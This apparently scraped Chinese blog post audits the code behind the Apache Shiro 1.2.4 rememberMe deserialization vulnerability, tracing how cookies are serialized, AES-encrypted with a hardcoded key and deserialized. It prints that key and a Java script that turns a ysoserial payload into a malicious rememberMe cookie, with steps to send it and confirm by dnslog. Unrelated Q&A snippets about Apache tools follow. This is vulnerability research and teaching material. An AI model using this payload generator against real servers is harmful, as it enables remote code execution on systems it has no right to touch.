- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用.
Shiro将目标集中于Shiro开发团队所称的“四大安全基石”-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):
(1) 认证(Authentication):用户身份识别。有时可看作为“登录(login)”,它是用户证明自己是谁的一个行为。 (2) 授权(Authorization):访问控制过程,好比决定“认证(who)”可以访问“什么(what)”. (3) 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。 (4) 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。 对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多.
(1) 加密流程: 值 -> 序列化 -> AES加密 -> base64编码 -> 生成一个 cookie值形成 rememberMe=cookie的形式 。
(2) 解密流程 (漏洞产生): payload -> base64解码 -> AES解密 -> 反序列化 (造成反序列化漏洞) 。
首先观察在 CookieRemembaerMeManager.java 中的 rememberSerializedIdentity 方法,它将序列化后的值进行 base64编码后的字符串设置为 cookie 的值:
查看该方法在哪里被调用,跟进查看:
跟进可知 rememberSerializedIdentity方法被 rememberIdentity方法所调用:
跟进查看 rememberIdentity方法:
可以看到在下面 rememberIdentity方法进行了函数重载:
继续跟进重载后的 rememberIdentity方法,可以发现该方法被 onSuccessfulLoogin方法调用:
总体逻辑即为,登录成功后,会调用 AbstractRememberManager.onSuccessfulLogin方法,生成加密的 rememberMe=cookie值,然后将这个生成的 cookie值 设置为用户的cookie值.
接着 在 if(isRememberMe(token))代码处打赏断点:
运行代码,进入Web端,输入默认口令,选中 "记住我" 即 rememberMe 选项,提交表单:
回到代码断点位置,可以看到运行至断点处的 token的值:
接下来进行跟进,逐步分析代码,跟进 isRememberMe方法,分析可知,这个方法的作用是判断用户有无勾选 rememberMe 选项,有则返回 true,否则返回 false:
已知我们已经勾选了 rememberMe选项,返回 true,进入下一步调用 rememberIdentity方法:
跟进 rememberIdentity方法,这个方法会首先生成一个 principalColletion对象->principles,principles中保存用户的登录信息:
下一步,调用 rememberIdentity方法,跟进该方法,通过分析代码可知,该方法首先调用 convertPrincipalsToBytes方法对 principles值进行一个序列化的操作:
跟进 convertPrincipalsToBytes方法,可以看到该方法先使用 serialize方法对 principles值进行序列化,然后调用 encrypt方法对序列化后的值进行加密:
跟进 serialize方法,调用setSerializer()中的 serialize方法,继续跟进第二个 serialize方法,第二个serialize方法就是对参数值进行一个正常的序列化操作:
步过 serialize方法,进入 if(getCipherService() != null) 的判断逻辑,跟进 getCipherService方法,通过分析,可以判断其是 aes加密:
跟进 cipherService:
继续跟进,可以发现采用了硬编码的密钥,这也是 shiro(1.2.4)反序列化漏洞产生的关键条件之一 。
可以继续跟进,获取到该硬编码密钥,通过该密钥,攻击者可以对 payloads进行构造,是 shiro(1.2.4)反序列化漏洞产生的关键条件之一 。
继续步过,进入 encrpt方法的加密逻辑:
跟进 encrypt方法,该方法先获取 principles被序列化后的值,然后对该值使用 cipherService.encrypt方法进行加密:
跟进 cipherService.encrypt方法,该方法中,使用硬编码的key,iv向量进行了很经典的 AES加密:
通过以上逻辑总结可得,convertPrinciplesToBytes方法就是先对 principles值先进行了 序列化操作,然后对序列化后的值进行了 AES加密,但是 AES加密采用了固定的硬编码Key导致可逆,会被恶意利用.
步过 convertPrinciplesToBytes方法,进入 rememberSerializedIndentity方法的逻辑:
跟进 rememberSerializedIdentity方法,就是先对 序列化和加密后的值进行base64编码,并将编码后的值设置为用户的cookie值:
综上所述,加密流程即为: principles值 -> 序列化 -> AES加密 -> base64编码 -> 生成一个 cookie值形成 rememberMe=cookie的形式 。
有加密方法 encrypt,对应的也有解密方法,如下所示:
向上层查看跟进 decrypt在哪里被调用:
decrypt方法在 convertBytesToPrinciples方法中被调用,继续向上跟进 convertBytesToPrinciples方法在哪里被调用:
如上图所示下断点,跟进查看 getRememberSerializedIdentity方法,发现 getRememberSerializedIdentity方法中会获取 请求包中的cookie的值并进行base64解密,这个获取到的cookie的值对于攻击者来说是可控的:
步过进入 convertBytesToPrinciples方法:
该方法首先使用 decrypt方法对 传入参数使用固定的硬编码Key进行aes解密操作:
接着调用 deserialize方法对aes解密后的值进行反序列化,跟进deserialize方法:
继续跟进getSerializer().deserialize方法,发现 deserialize方法被进行了重写:
继续跟进分析重写后的方法,使用了 readObject方法,导致了反序列化漏洞的产生:
解密流程与漏洞产生的基本逻辑如下: 获取请求包中的cookie值 -> base64解码 -> aes解密 -> 反序列化 。
但是由于请求包中的cookie值可控 以及 aes加密采用的是硬编码固定Key,导致攻击流程如下: 攻击者构造payload命令 -> 手动序列化 -> 使用固定硬编码Key进行手动加密 -> 手动base64加密 -> 构造出完整的payload命令 -> 在请求包Cookie中构造 rememberMe=payload字段进行send发包 -> getRememberSerializedIdentity方法获取cookie值 -> base64解码 -> aes解密 -> 反序列化 -> readObject()函数导致产生反序列化漏洞.
(一) dnslog
(二) ysoserial
(三) 加密脚本
首先使用 ysoserial工具构造 java反序列化攻击payload:
使用脚本对payload进行加密操作:
package org.XxxX.shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.nio.file.FileSystems;
import java.nio.file.Files;
public class ShiroRememberMeGenPayload {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("C:/Users/lenovo/Desktop/代码审计/ysoserial-master/payload/payload.txt"));
AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==")); //硬编码固定Key值
ByteSource ciphertext = aes.encrypt(payloads, key);
BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));
out.write(ciphertext.toString());
out.close();
System.out.printf("OK");
}
}
运行代码生成 payload.txt:
复制 payload值将其构造为 rememberMe=payload 添加至 Cookie字段,然后放包:
dnslog回显,即可证明漏洞存在:
最后此篇关于Apache-Shiro<=1.2.4反序列化漏洞(代码审计)的文章就讲到这里了,如果你想了解更多关于Apache-Shiro<=1.2.4反序列化漏洞(代码审计)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
在流处理方面,Apache Beam和Apache Kafka之间有什么区别? 我也试图掌握技术和程序上的差异。 请通过您的经验报告来帮助我理解。 最佳答案 Beam是一种API,它以一种统一的方式使
有点n00b的问题。 如果我使用 Apache Ignite 进行消息传递和事件处理,是否还需要使用 Kafka? 与 Ignite 相比,Kafka 基本上会给我哪些(如果有的话)额外功能? 提前致
Apache MetaModel 是一个数据访问框架,它为发现、探索和查询不同类型的数据源提供了一个通用接口(interface)。 Apache Drill 是一种无架构的 SQL 查询引擎,它通过
Tomcat是一个广泛使用的java web服务器,而Apache也是一个web服务器,它们在实际项目使用中有什么不同? 经过一些研究,我有了一个简单的想法,比如, Apache Tomcat Ja
既然简单地使用 Apache 就足以运行许多 Web 应用程序,那么人们何时以及为什么除了 Apache 之外还使用 Tomcat? 最佳答案 Apache Tomcat是一个网络服务器和 Java
我在某个 VPS( friend 的带 cPanel 的 apache 服务器)上有一个帐户,我在那里有一个 public_html 目录。我们有大约 5-6 个网站: /home/myusernam
我目前正在尝试将模块加载到 Apache,使用 cmake 构建。该模块称为 mod_mapcache。它已成功构建并正确安装在/usr/lib/apache2/modules directroy 中
我对 url 中的问号有疑问。 例如:我有 url test.com/controller/action/part_1%3Fpart_2 (其中 %3F 是 url 编码的问号),并使用此重写规则:R
在同一台机器上,Apache 在端口 80 上运行,Tomcat 在端口 8080 上运行。 Apache 包括 html;css;js;文件并调用 tomcat 服务。 基本上 exampledom
Apache 1 和 Apache 2 的分支有什么区别? 使用一种或另一种的优点和缺点? 似乎 Apache 2 的缺点之一是使用大量内存,但也许它处理请求的速度更快? 最有趣的是 Apache 作
实际上,我们正在使用 Apache 网络服务器来托管我们的 REST-API。 脚本是用 Lua 编写的,并使用 mod-lua 映射。 例如来自 httpd.conf 的实际片段: [...] Lu
我在 apache 上的 ubuntu 中有一个虚拟主机,这不是我的主要配置,我有另一个网页作为我的主要网页,所以我想使用虚拟主机在同一个 IP 上设置这个。 urologyexpert.mx 是我的
我使用 Apache camel 已经很长时间了,发现它是满足各种系统集成相关业务需求的绝佳解决方案。但是几年前我遇到了 Apache Nifi 解决方案。经过一番谷歌搜索后,我发现虽然 Nifi 可
由于两者都是一次处理事件的流框架,这两种技术/流框架之间的核心架构差异是什么? 此外,在哪些特定用例中,一个比另一个更合适? 最佳答案 正如您所提到的,两者都是实时内存计算的流式平台。但是当您仔细观察
apache 文件(如 httpd.conf 和虚拟主机)中使用的语言名称是什么,例如 # Ensure that Apache listens on port 80 Listen 80 D
作为我学习过程的一部分,我认为如果我扩展更多关于 apache 的知识会很好。我有几个问题,虽然我知道有些内容可能需要相当冗长的解释,但我希望您能提供一个概述,以便我知道去哪里寻找。 (最好引用 mo
关闭。这个问题是opinion-based .它目前不接受答案。 想改善这个问题吗?更新问题,以便可以通过 editing this post 用事实和引文回答问题. 4 个月前关闭。 Improve
就目前而言,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引起辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visit the he
这个问题在这里已经有了答案: Difference Between Apache Kafka and Camel (Broker vs Integration) (4 个回答) 3年前关闭。 据我所知
我有 2 个使用相同规则的子域,如下所示: RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond
我是一名优秀的程序员,十分优秀!